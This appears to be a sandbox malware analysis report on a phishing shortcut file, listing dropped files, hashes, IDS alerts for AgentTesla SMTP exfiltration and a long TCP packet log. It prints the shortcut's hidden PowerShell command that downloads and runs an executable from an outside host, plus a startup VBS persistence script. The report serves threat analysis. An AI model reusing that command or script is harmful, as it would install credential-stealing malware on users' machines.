Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5407
Entropy (8bit):	3.5105508922189017
Encrypted:	false
SSDEEP:	48:NHuNdDkWDa0+/EIlHJwSogZo2U+/EIlLwSogZoi1:NHYBD+/EI5HM+/EIfHp
MD5:	1ECEC74ABDE16C2B31F1F016C69C67C4
SHA1:	1A436EADC904F0D94A2FD835214950177844EF05
SHA-256:	53F06443F7B7EDDF2D9668C2649E57B1AFDAA1D538E5DC6DFF9D53427E4C8A4B
SHA-512:	FED88A983F4D51213417F47BF7633BD938481231EA2CC614E4F7E4A385FD2C8B2C6F199D231758B81046315A005BF06FE13A3D7A2DE10E8B67B297D19C7FCFAB
Malicious:	false
Preview:	...................................FL..................F.`.. ...,...W....\|......K...................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........S....!..W....\|.........2.....;Y.D .RTGS-W~1.LNK..f......EW.5;Y.D..........................3...R.T.G.S.-.W.B.-.A.B.S.-.2.4.0.7.3.0.-.N.E.W...l.n.k.......c...............-.......b...........k.......C:\Users\user\Desktop\RTGS-WB-ABS-240730-NEW.lnk../.C.:.\.U.s.e.r.s.\.a.d.m.i.n.\.D.e.s.k.t.o.p.\.p.u.r.c.h.a.s._.g.e.o._.N.J.F._.i.c.o.n...i.c.o.........%SystemDrive%\Users\admin\Desktop\purchas_geo_NJF_icon.ico..........................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.U.s.e.r.s.\.a.d.m.i.n.\.D.e.s.k.t.o.p.\.p.u.r.c.h.a.s._.g.e.o._.N.J.F._.i.c.o.n...i.c.o..................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs

Download File

Process:	C:\Users\user\AppData\Local\unspattered\recomplaint.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.387474353478796
Encrypted:	false
SSDEEP:	6:DMM8lfm3OOQdUfclzXUEZ+lX1QlAWB7TilSmlAnriIM8lfQVn:DsO+vNlDQ1Ql17WlGmA2n
MD5:	E6A749EDB8A34D16433880A6AC1257FF
SHA1:	C98E85B1E9B6003C942C57555AC3C576863A51F9
SHA-256:	2B56E40B8D7D32AB500654F51B793F38AAE90A3DD24050E9094A0AA2DF84FE87
SHA-512:	96D078951A716466D26F76FEC2CBFE47B32FB0F4CEEE5157F83D2CB60D56B8395DD3E12F4CB24340CAB99C8E33C87AFE644D935E77791E882F8073842DA5084F
Malicious:	true
Preview:	S.e.t. .W.s.h.S.h.e.l.l. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".W.S.c.r.i.p.t...S.h.e.l.l.".)...W.s.h.S.h.e.l.l...R.u.n. .".C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.u.n.s.p.a.t.t.e.r.e.d.\.r.e.c.o.m.p.l.a.i.n.t...e.x.e.".,. .1...S.e.t. .W.s.h.S.h.e.l.l. .=. .N.o.t.h.i.n.g...

C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	45984
Entropy (8bit):	6.16795797263964
Encrypted:	false
SSDEEP:	768:4BbSoy+SdIBf0k2dsjYg6Iq8S1GYqWH8BR:noOIBf0ddsjY/ZGyc7
MD5:	9D352BC46709F0CB5EC974633A0C3C94
SHA1:	1969771B2F022F9A86D77AC4D4D239BECDF08D07
SHA-256:	2C1EEB7097023C784C2BD040A2005A5070ED6F3A4ABF13929377A9E39FAB1390
SHA-512:	13C714244EC56BEEB202279E4109D59C2A43C3CF29F90A374A751C04FD472B45228CA5A0178F41109ED863DBD34E0879E4A21F5E38AE3D89559C57E6BE990A9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: shipping documents.exe, Detection: malicious, Browse Filename: shipping documents.exe, Detection: malicious, Browse Filename: autorization Letter.exe, Detection: malicious, Browse Filename: rMT103SwiftCopyoFPayment.exe, Detection: malicious, Browse Filename: Shipping Document.exe, Detection: malicious, Browse Filename: COMMERCAIL INVOICE AND TNT AWB TRACKING INVOICE.exe, Detection: malicious, Browse Filename: DHL- CBJ520818836689.pdf.exe, Detection: malicious, Browse Filename: DHL- CBJ520818836689.exe, Detection: malicious, Browse Filename: Shipping documents.exe, Detection: malicious, Browse Filename: Shipping doc.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0..d..........V.... ........@.. ..............................s.....`.....................................O.......8............r...A.......................................................... ............... ..H............text...\c... ...d.................. ..`.rsrc...8............f..............@..@.reloc...............p..............@..B................8.......H........+...S..........\|...P...........................................r...p(....2.(....(....z..r...p(....(....(......}......{.....s..........0..{...........Q.-.s.....+i~....o....(.....s.......o.....r!..p..(....Q.P,:.P.....(....o....o ........(....o!...o".....,..o#...t........0..(....... ....s$........o%....X..(....-...o&....0...........('......&.........................0...........(.......&.....*.................0............(.....(....~....,.(....~....o....9]...

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.442398121585593
Encrypted:	false
SSDEEP:	24:zKLXkhDObntKlglUEnfQtvNuNpKOK5aM9YJC:zKL0hDQntKKH1MqJC
MD5:	6FB4D27A716A8851BC0505666E7C7A10
SHA1:	AD2A232C6E709223532C4D1AB892303273D8C814
SHA-256:	1DC36F296CE49BDF1D560B527DB06E1E9791C10263459A67EACE706C6DDCDEAE
SHA-512:	3192095C68C6B7AD94212B7BCA0563F2058BCE00C0C439B90F0E96EA2F029A37C2F2B69487591B494C1BA54697FE891E214582E392127CB8C90AB682E0D81ADB
Malicious:	false
Preview:	Microsoft (R) .NET Framework Services Installation Utility Version 4.8.4084.0..Copyright (C) Microsoft Corporation. All rights reserved.....USAGE: regsvcs.exe [options] AssemblyName..Options:.. /? or /help Display this usage message... /fc Find or create target application (default)... /c Create target application, error if it already exists... /exapp Expect an existing application... /tlb:<tlbfile> Filename for the exported type library... /appname:<name> Use the specified name for the target application... /parname:<name> Use the specified name or id for the target partition... /extlb Use an existing type library... /reconfig Reconfigure existing target application (default)... /noreconfig Don't reconfigure existing target application... /u Uninstall target application... /nologo Suppress logo output... /quiet Suppress logo output and success output... /c

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sun Nov 17 02:57:57 2019, mtime=Sun Nov 17 02:57:57 2019, atime=Wed Oct 29 01:16:41 2014, length=478720, window=hide
Entropy (8bit):	3.5372984242646197
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	RTGS-WB-ABS-240730-NEW.lnk
File size:	2'332 bytes
MD5:	82937aae96fa6a40b59703eea97ce1ef
SHA1:	d23b17711e2e65609c9973d6f03dde3d2acb3568
SHA256:	d820d9f270915fc81bedefd16bf7b8a20cb88a4d1e55d8566b9367fa494ac356
SHA512:	f3d66ad7d89da4bd494f173506ced0fe46404a786876e4664658e0db4b8075a18e0579f4bb5319aba9dee9338b1f64782a2b3f1f4d7640187b4dfbc0d3240bc8
SSDEEP:	24:8WU+RuRgkkCtvtUhKBUW1vvAlPWkp+/CWIiAGfcC7KTuUMkWU5T10lDkiO+I10lC:8WU+hgltqlnrWKTuHwADkixD3a33F
TLSH:	8841AE042BF55B24F7B3AFB9A8B962029933BC49DE119F8F0190C5465C61A14E864F3B
File Content Preview:	L..................F.@.. ...r..2....r..2.......`.....N...........................P.O. .:i.....+00.../C:\...................V.1......Yl...Windows.@........C.l.Yl.....).........................W.i.n.d.o.w.s.....Z.1......Y....System32..B........C.l.Y......7.

File Icon


Icon Hash:	74f0e4e4e4e1e1ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command Line Argument:	-windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile %TEMP%\file.exe; Start-Process '%TEMP%\file.exe' }"
Icon location:	C:\Users\admin\Desktop\purchas_geo_NJF_icon.ico

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T10:38:56.228125+0200	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	60913	208.91.198.176	587	TCP
2024-09-27T10:39:33.684199+0200	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	61255	208.91.198.176	587	TCP
2024-09-27T10:39:47.577844+0200	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	60905	208.91.198.176	587	TCP
2024-09-27T10:39:50.515013+0200	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	60912	208.91.198.176	587	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 10:39:11.091875076 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:11.091902971 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:11.091976881 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:11.116990089 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:11.117005110 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.285877943 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.286026955 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.288933039 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.288945913 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.289294958 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.297359943 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.339407921 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.654134989 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.654175043 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.654195070 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.654293060 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.654311895 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.654364109 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.656210899 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.656239986 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.656341076 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.656349897 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.696841002 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.779190063 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.779221058 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.779316902 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.779333115 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.779402971 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.780539989 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.780560970 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.780611992 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.780625105 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.780670881 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.782221079 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.782278061 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.782311916 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.782320976 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.782347918 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.782365084 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.783751011 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.783777952 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.783834934 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.783847094 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.783869028 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.783885956 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.910696983 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.910739899 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.910794973 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.910809040 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.910856009 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.910975933 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.910999060 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.911025047 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.911031961 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.911046982 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.911071062 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.911710024 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.911732912 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.911760092 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.911768913 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.911792994 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.911809921 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.912791967 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.912815094 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.912851095 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.912859917 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.912883997 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.912899017 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.913661003 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.913685083 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.913723946 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.913732052 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.913767099 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.913775921 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.913841009 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.913860083 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.913904905 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.913911104 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.913934946 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.913952112 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.926640987 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.997401953 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.997438908 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.997561932 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:12.997575998 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:12.997621059 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.029598951 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.029630899 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.029803991 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.029820919 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.029865026 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.030236006 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.030258894 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.030296087 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.030304909 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.030347109 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.030366898 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.030746937 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.030770063 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.030797005 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.030806065 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.030823946 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.030849934 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.032787085 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.032813072 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.032849073 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.032855034 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.032871962 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.032886982 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.033023119 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.033046007 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.033086061 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.033092976 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.033118010 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.033137083 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.033260107 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.033279896 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.033310890 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.033318996 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.033341885 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.033351898 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.033914089 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.034723043 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.034746885 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.034785032 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.034791946 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.034818888 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.034826994 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.044645071 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.091686010 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.091741085 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.091789007 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.091799021 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.091834068 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.091847897 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.124298096 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.124321938 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.124366999 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.124375105 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.124402046 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.124432087 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.125009060 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.125025034 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.125091076 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.125098944 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.125133991 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.125488997 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.125509977 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.125535965 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.125545979 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.125564098 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.125581026 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.126125097 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.126151085 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.126202106 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.126202106 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.126210928 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.126256943 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.126863003 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.126878023 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.126916885 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.126924992 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.126960039 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.127881050 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.127896070 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.127940893 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.127949953 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.127986908 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.128634930 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.155039072 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.155066967 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.155170918 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.155184984 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.155241013 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.171811104 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.171829939 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.171909094 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.171922922 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.172032118 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.214587927 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.214612007 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.214725018 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.214736938 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.214768887 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.214787960 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.214797974 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.214803934 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.214834929 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.214859962 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.215457916 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.215472937 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.215841055 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.215850115 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.215887070 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.216012001 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.216032982 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.216073990 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.216080904 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.216103077 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.216116905 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.216574907 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.216590881 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.216634989 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.216641903 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.216675043 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.217931032 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.217945099 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.217979908 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.217988968 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.218013048 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.218034029 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.233915091 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.247473955 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.247498989 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.247621059 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.247629881 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.247646093 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.247678041 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.247724056 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.307205915 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.307224989 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.307275057 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.307288885 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.307322979 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.307334900 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.307459116 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.307473898 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.307508945 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.307517052 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.307547092 CEST	61245	443	192.168.2.6	176.99.3.36
